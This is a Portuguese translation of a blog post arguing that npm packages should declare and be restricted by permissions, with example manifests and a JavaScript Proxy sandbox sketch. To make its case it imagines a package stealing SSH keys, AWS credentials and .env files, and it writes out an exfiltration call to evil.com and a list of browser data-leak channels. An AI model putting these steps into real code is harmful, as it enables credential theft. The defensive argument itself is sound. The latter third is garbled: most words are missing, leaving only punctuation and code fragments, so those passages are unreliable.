Tem uma idéia: sistema de permissão para pacotes npm

Alguns dias atrás, iniciei a calculadora em um telefone novo e vi a seguinte mensagem: "A calculadora gostaria de acessar seus contatos".


A princípio, essa mensagem me pareceu um pouco triste (parecia que a calculadora estava solitária), mas esse caso me fez pensar ...

E se, como aplicativos de telefone, os pacotes npm precisassem declarar as permissões necessárias para seu trabalho? Com essa abordagem, o arquivo package.json pode ser algo como isto:

 { "name": "fancy-logger", "version": "0.1.0", "permissions": {   "browser": ["network"],   "node": ["http", "fs"] }, "etcetera": "etcetera" } 

No npmjs.com, uma seção da página do pacote com informações sobre as permissões necessárias pode se parecer com isso.


Essa seção de permissão pode estar disponível para pacotes no site de registro npm.
Essas listas de permissões para um pacote podem ser uma combinação das permissões de todas as suas dependências com suas próprias permissões.

Uma olhada no conteúdo da seção de permissions do pacote fancy-logger pode fazer o desenvolvedor pensar por que o pacote que grava algo no console precisa acessar o módulo http e que isso parece um pouco suspeito.

Qual seria o mundo em que um sistema de permissão semelhante para pacotes npm seria usado? Talvez alguém não entenda isso, pois se sente completamente seguro, por exemplo, usando apenas pacotes confiáveis ​​de editores testados pelo tempo. Para que todos que leem isso se sintam vulneráveis, aqui está uma pequena história.

A história de como eu roubo suas variáveis ​​de ambiente


Eu queria criar um pacote npm chamado space-invaders . Foi interessante aprender a criar jogos escrevendo um jogo que funciona no console e, ao mesmo tempo, comprovar meu ponto de vista sobre vulnerabilidades relacionadas aos pacotes npm.

Você pode executar este jogo com este comando: npx space-invaders . Após o seu lançamento, pode-se começar imediatamente a atirar nos alienígenas e matar o tempo.

Você gostaria deste jogo, o compartilharia com os amigos, eles também.

Tudo isso parece muito positivo, mas, entretendo você, os space-invaders do space-invaders do jogo farão suas próprias space-invaders , a saber, a coleta de alguns dados. Ele coletará informações de ~/.ssh/ , ~/.aws/credentials , de ~/.bash_profile e outros locais semelhantes, lerá o conteúdo de todos os arquivos .env que puder alcançar, incluindo process.env , procure para a configuração do git (para descobrir de quem são as informações coletadas) e, em seguida, ela envia tudo para o meu servidor.

Não escrevi esse jogo, mas há algum tempo me sinto desconfortável e, quando executo o comando npm install , penso em quão vulnerável é o meu sistema. Agora, olhando para o indicador de progresso da instalação, penso em quantas pastas e arquivos padrão no meu laptop, cujo conteúdo não deve cair nas mãos erradas.

E não se trata apenas do meu espaço de trabalho. Por exemplo, nem sei se existem dados em algumas variáveis ​​de ambiente do meu sistema de montagem de sites para conectar ao banco de dados do servidor de produção. Se em algum lugar houver esses dados, você poderá imaginar uma situação na qual um pacote npm malicioso instala um script no sistema projetado para conectar-se ao meu banco de dados em funcionamento. Em seguida, esse script executa o comando SELECT * from users , em seguida, http.get('http://evil.com/that-data') . Talvez tenha sido justamente pela possibilidade de tais ataques que me deparei com conselhos de que as senhas não deveriam ser armazenadas nos bancos de dados em texto simples?

Tudo isso parece bastante assustador e provavelmente já está acontecendo (embora seja impossível dizer exatamente se isso está acontecendo ou não).

Com isso, talvez, paremos de falar sobre as consequências do roubo de dados importantes. Vamos voltar ao tópico de permissões para pacotes npm.

Alterações de permissão de bloqueio


Suponho que seria ótimo poder ver as permissões necessárias pelo pacote ao visualizar o site npm. Mas deve-se notar que a capacidade de ver permissões é boa somente quando aplicada a um momento específico; na verdade, isso não resolve o problema real.

Em um incidente recente no npm, alguém primeiro publicou uma versão de patch de um pacote com código malicioso e depois publicou uma versão secundária da qual o código malicioso já havia sido removido. O tempo entre esses dois eventos foi suficiente para colocar em risco muitos usuários do pacote perigoso.

Esse é o problema. Não são pacotes criados por malware e permanecem assim o tempo todo. O problema é que, em um pacote aparentemente confiável, você pode adicionar discretamente algo ruim e depois de um tempo removê-lo.

Como resultado, podemos dizer que precisamos de um mecanismo para bloquear o conjunto de permissões recebidas pelos pacotes.

Talvez seja algo como um arquivo package-permissions.json que defina permissões para o Node.js e para o navegador e contenha uma lista de pacotes que precisam dessas permissões. Com essa abordagem, seria necessário listar todos os pacotes nesse arquivo, e não apenas aqueles que estão na seção dependencies do arquivo package.json do projeto.

Aqui está a aparência do arquivo package-permissions.json .

 { "node": {   "http": [     "express",     "stream-http"   ],   "fs": [     "fs-extra",     "webpack",     "node-sass"   ] }, "browser": {   "network": [     "whatwg-fetch",     "new-relic"   ] } } 

Uma versão real desse arquivo pode conter muito mais entradas de pacote.

Agora imagine que um dia você atualize um pacote com duzentas dependências que também serão atualizadas. Uma versão do patch foi publicada para uma dessas dependências, que de repente precisavam de acesso ao http Node.js.

Se isso acontecer, o comando npm install falhará com uma mensagem semelhante à seguinte: “O pacote add-two-number necessário pelo pacote fancy-logger solicitou acesso ao http Node.js. Execute o npm update-permissions add-two-numbers para resolver isso e execute o comando npm install novamente. ”

Aqui, fancy-logger é o pacote que está no seu arquivo package.json (supondo que você esteja familiarizado com este pacote) e o pacote add-two-numbers é uma dependência do fancy-logger que você nunca ouviu falar.

Obviamente, mesmo se houver um arquivo no sistema para "bloquear" as dependências, alguns desenvolvedores confirmarão as novas permissões sem pensar em nada. Mas, no mínimo, uma alteração no package-permissions.json será visível na solicitação de recebimento, ou seja, haverá uma chance de que outro desenvolvedor mais responsável preste atenção nisso.

Além disso, as alterações nas permissões solicitadas exigiriam que o próprio registro npm notificasse os autores do pacote quando uma situação mudar em algum lugar na árvore de dependência de seus pacotes. Talvez - isso será feito por e-mail com o seguinte conteúdo:

"Olá, autor do fancy-logger . Informamos que o add-two-number , o pacote cujos recursos você usa, solicitou permissão para trabalhar com o módulo http . Suas permissões de pacote, conforme mostrado em npmjs.com/package/fancy-logger , foram atualizadas de acordo. ”

Obviamente, isso aumentará o trabalho dos autores dos pacotes e do próprio npm, mas essas coisas valerão a pena gastar um pouco de tempo neles. Nesse caso, o autor de add-two-numbers pode ter certeza absoluta de que, se solicitar permissão para trabalhar com o módulo http , isso levará ao acionamento de muitos "alarmes" em todo o mundo.

É disso que precisamos. Hein? Gostaria de esperar que, como no caso de aplicativos por telefone, e mesmo no caso de extensões para o Chrome, pacotes que exijam menos permissões sejam mais populares entre os usuários do que aqueles que precisam de um nível inexplicavelmente alto de acesso aos sistemas. Isso, por sua vez, fará com que os autores do pacote pensem muito bem ao escolher as permissões necessárias para seu desenvolvimento.

Suponha que o npm decida introduzir um sistema de permissão. No primeiro dia do lançamento desse sistema, todos os pacotes serão considerados como exigindo permissões completas (tal decisão será tomada mais tarde - nos casos em que a seção de permissions estiver ausente no package.json ).

O autor do pacote, que deseja reivindicar que seu pacote não requer permissões especiais, estará interessado em adicionar a seção de permissions no package.json como um objeto vazio. E, se os autores dos pacotes estiverem interessados ​​o suficiente para que as permissões de dependência não sobrecarreguem seus pacotes, eles tentarão garantir que esses pacotes de dependência também não exijam permissões especiais, por exemplo, fazendo solicitações de recebimento apropriadas no repositório de dependências.

Além disso, cada autor do pacote se esforçará para reduzir o risco de vulnerabilidade do pacote ao quebrar uma de suas dependências. Portanto, se os autores dos pacotes usarem dependências que exigem permissões, as quais, aparentemente, não são necessárias, elas terão um incentivo para mudar para o uso de outros pacotes.

E no caso de desenvolvedores que usam o npm-packages ao criar aplicativos, isso os forçará a prestar atenção especial aos pacotes usados ​​em seus projetos, escolhendo principalmente aqueles que não requerem permissões especiais. Ao mesmo tempo, é claro, alguns pacotes, por razões objetivas, exigirão permissões que podem causar problemas, mas é provável que esses pacotes estejam sob controle especial dos desenvolvedores.

Talvez algo como o Greenkeeper possa ajudar de alguma maneira a resolver todos esses problemas.

Por fim, o arquivo package-permissions.json fornecerá um resumo fácil de entender para um profissional de segurança que avaliar possíveis “brechas” no aplicativo e permitir que você faça perguntas específicas sobre pacotes controversos e suas permissões.

Como resultado, espero que essa propriedade de permissions simples possa se espalhar amplamente entre aproximadamente pacotes de 800.000 npm e torná-lo mais seguro.

Obviamente, isso não impedirá possíveis ataques. Assim como as permissões solicitadas pelos aplicativos móveis não tornam impossível a criação de aplicativos móveis maliciosos distribuídos por sites oficiais. Mas isso restringirá a "superfície de ataque" a pacotes que solicitam permissão explicitamente para executar determinadas ações que podem representar uma ameaça para os sistemas de computador. Além disso, será interessante aprender sobre qual porcentagem de pacotes não precisa de permissões especiais.

É assim que parece o mecanismo para trabalhar com permissões para pacotes npm. Se essa idéia se tornar realidade, podemos confiar no fato de que os invasores descreverão honestamente seus pacotes declarando permissões ou combinar o sistema de declaração de permissões com o mecanismo de restrição forçada dos recursos dos pacotes de acordo com as permissões solicitadas por eles. Esta é uma pergunta interessante. Vejamos como aplicado ao Node.js e navegadores.

Forçando restrições de pacote de acordo com as permissões solicitadas por eles no Node.js


Aqui eu vejo duas opções possíveis para aplicar essas restrições.

▍ Opção 1: pacote npm especial que força medidas de segurança


Imagine um pacote criado e mantido pelo npm (ou alguma outra organização igualmente autoritária e visionária). Deixe este pacote ser chamado @npm/permissions .

Esse pacote seria incluído no código do aplicativo com o primeiro comando de importação ou os aplicativos seriam iniciados com um comando no formato node -r @npm/permissions index.js .

Um pacote substituiria outros comandos de importação para que eles não violassem as permissões indicadas na seção de permissions dos arquivos package.json de outros pacotes. Se o autor de um determinado pacote lovely-logger não declarar a necessidade desse pacote no módulo http Node.js., isso significa que esse pacote não pode ser acessado por este módulo.

A rigor, bloquear módulos Node.js inteiros dessa maneira não é o ideal. Por exemplo, o pacote de methods npm carrega o módulo http Node.js., mas não envia dados usando-o. Ele apenas pega o objeto http.METHODS , converte seu nome em http.METHODS e o exporta como um pacote npm clássico. Agora, esse pacote parece ser um ótimo alvo para um invasor - ele tem 6 milhões de downloads por semana, enquanto não muda há 3 anos. Eu poderia escrever para os autores deste pacote e convidá-los a me fornecer seu repositório.

Considerando o pacote de methods , seria melhor considerar que ele não requer permissão de network e não a permissão que dá acesso ao módulo http . Em seguida, essa restrição pode ser corrigida usando um mecanismo externo e neutralizar qualquer tentativa deste pacote de enviar determinados dados dos sistemas em que trabalha.

O pacote imaginário @npm/permissions também pode restringir o acesso de um pacote a quaisquer outros pacotes que não foram listados como suas dependências. Isso impedirá que o pacote, por exemplo, importe algo como fs-extra e request , e use os recursos desses pacotes para ler dados do sistema de arquivos e enviar dados de leitura para um invasor.

Da mesma forma, pode ser útil distinguir entre acesso ao disco "interno" e "externo". Estou muito feliz que o node-sass precise acessar os materiais localizados no diretório do meu projeto, mas não vejo os motivos pelos quais esse pacote precisa acessar qualquer coisa fora deste diretório.

Talvez, no início da introdução do sistema de permissões, o pacote @npm/permissions precise ser adicionado aos projetos manualmente. Talvez, durante o período de transição, durante a eliminação de falhas inevitáveis, essa seja a única abordagem razoável para usar esse mecanismo. Mas, para garantir a segurança real, é necessário que este pacote seja totalmente integrado ao sistema, pois será necessário levar em consideração as permissões ao executar os scripts de instalação do pacote.

Então, o mais provável é que um simples comando no formato "enforcePermissions": true no arquivo package.json do projeto diga ao npm para executar qualquer script com o uso forçado das permissões declaradas por eles.

▍ Opção 2: Modo de segurança Node.js


O modo especial de operação do Node.js, focado em um nível aumentado de segurança, obviamente exigirá mudanças mais sérias. Mas talvez a longo prazo, a própria plataforma Node.js. possa impor restrições definidas pelas permissões declaradas por cada pacote.

Por um lado, sei que aqueles que estão desenvolvendo a plataforma Node.j se esforçam para resolver os problemas dessa plataforma, e minhas idéias sobre a segurança dos pacotes npm vão além do escopo de seus interesses. Afinal, no final, npm é apenas a tecnologia que acompanha o Node.js. Por outro lado, os desenvolvedores do Node.js. estão interessados ​​em fazer com que os usuários corporativos se sintam confiantes ao trabalhar com esta plataforma, e a segurança, presumivelmente, é um daqueles aspectos do Node.js. que não devem ser dados à "comunidade".

Portanto, enquanto tudo o que conversamos parecia bem simples e resumia-se ao fato de que o sistema, de uma maneira ou de outra, seguia os recursos usados ​​pelos módulos durante a operação do Node.js.

Agora vamos falar sobre navegadores. Tudo aqui não parece tão claro e compreensível.

Restrição forçada dos recursos dos pacotes de acordo com as permissões solicitadas nos navegadores


À primeira vista, a restrição forçada dos recursos dos pacotes nos navegadores parece ainda mais simples, pois o código que é executado no navegador não pode fazer muito, especialmente em relação ao sistema operacional no qual o navegador é executado. De fato, no caso de navegadores, você só precisa se preocupar com a capacidade dos pacotes de transferir dados para endereços incomuns.

O problema aqui é que existem inúmeras maneiras de enviar dados do navegador do usuário para o servidor do invasor.

Isso se chama exfiltração ou vazamento de dados e, se você perguntar a um profissional de segurança sobre como evitar isso, ele, com a aparência da pessoa que inventou a pólvora, solicitará que você pare de usar o npm.

Acredito que, para pacotes executados em navegadores, é necessário prestar atenção a apenas uma resolução - a responsável pela capacidade de trabalhar com a rede. Vamos chamá-lo de network . Pode haver outras permissões nesse ambiente (como aquelas que regulam o acesso ao DOM ou armazenamento local), mas aqui procedo da suposição de que nossa principal preocupação é a possibilidade de vazamento de dados.

Os dados do navegador podem ser "removidos" de várias maneiras. Aqui estão os que eu conseguia lembrar em 60 segundos:

  • fetch API.
  • Soquetes da Web
  • Tecnologia WebRTC.
  • Construtor de EventSource .
  • API XMLHttpRequest
  • Configurando a propriedade innerHTML de vários elementos (você pode criar novos elementos).
  • Criando um objeto de imagem com o new Image() comando new Image() (a propriedade src de uma imagem pode servir como um meio de filtrar dados).
  • Definir document.location , window.location e assim por diante.
  • Alterando as propriedades src de uma imagem existente, iframe ou algo parecido.
  • Alterações na propriedade de target do elemento <form> .
  • Usando uma string inteligentemente projetada para acessar qualquer um dos mecanismos acima ou para acessar algo em top ou em self vez de windows .

Deve-se observar que uma boa Política de Segurança de Conteúdo (CSP) é capaz de neutralizar algumas dessas ameaças, mas isso não se aplica a todas elas. Se alguém puder me corrigir, ficarei feliz, mas acredito que você nunca pode confiar no fato de que o CSP o protegerá completamente do vazamento de dados. Uma pessoa me disse uma vez que o CSP fornece proteção quase completa contra um grande número de ameaças. Respondi a isso que você não pode estar um pouco grávida e, desde então, não nos comunicamos com essa pessoa.

Se você abordar com sabedoria a pesquisa de maneiras de roubar dados do navegador, tenho certeza de que é bastante realista fazer uma lista bastante completa desses métodos.

Agora, precisamos encontrar um mecanismo para negar o acesso ao uso de oportunidades de uma lista semelhante.

Webpack (, @npm/permissions-webpack-plugin ), :

  • browser package-permissions.json , npm- ( - , ).
  • , , , API, .

(, Parcel, Rollup, Browserify ).

, , -. , , , , , .

, ( Lodash, Moment, ), . .

.

 //   (),   ,    function bigFrameworkWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //      const firstDiv = document.querySelector('div'); //    }, }; return module; } //   ( ),   ,    function smallUtilWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //  !     const firstDiv = document.querySelector('div'); //    }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) {   if (prop === 'document') {     return new Proxy(target.document, {       get(target, prop, receiver) {         if (prop === 'createElement') {           return new Proxy(window.document.createElement, {             apply(target, thisArg, argumentsList) {               if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {                 console.error('A module without permissions attempted to create a naughty element');                 return false;               }               return target.apply(window.document, argumentsList);             },           });         }         const result = Reflect.get(target, prop, receiver);         if (typeof result === 'function') return result.bind(target);         return result;       },     });   }   return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); //   const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element" 

function bigFrameworkWrapper(newWindow) { function smallUtilWrapper(newWindow) { — , . «» .

const newScript = document.createElement('script'); // ! , — script .

const bigFramework = bigFrameworkWrapper(window); const smallUtil = smallUtilWrapper(restrictedWindow); «» . , , .

const restrictedWindow = new Proxy(window, { window , , window , , window.document.createElement DOM .

Proxy .

. , .

, , API, . , , , , , , , , , , «» .

, , , - .

, , , , Proxy . , 90% , . , , . , - , , , .

, , , , , Node.js .


, , HTTP , , , -. Isso é compreensível.

-, , , . iframe , . sandbox , , . , , , -.

, , sandbox <script> . : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script> . , , , - create-react-app , 1.4 , .

, npm , .

, - .

, , - « ...», , , ?

Sumário


, , , , . , 90% , , , 10% — , .

, , - .

Caros leitores! , , npm, -?

Source: https://habr.com/ru/post/pt433010/


All Articles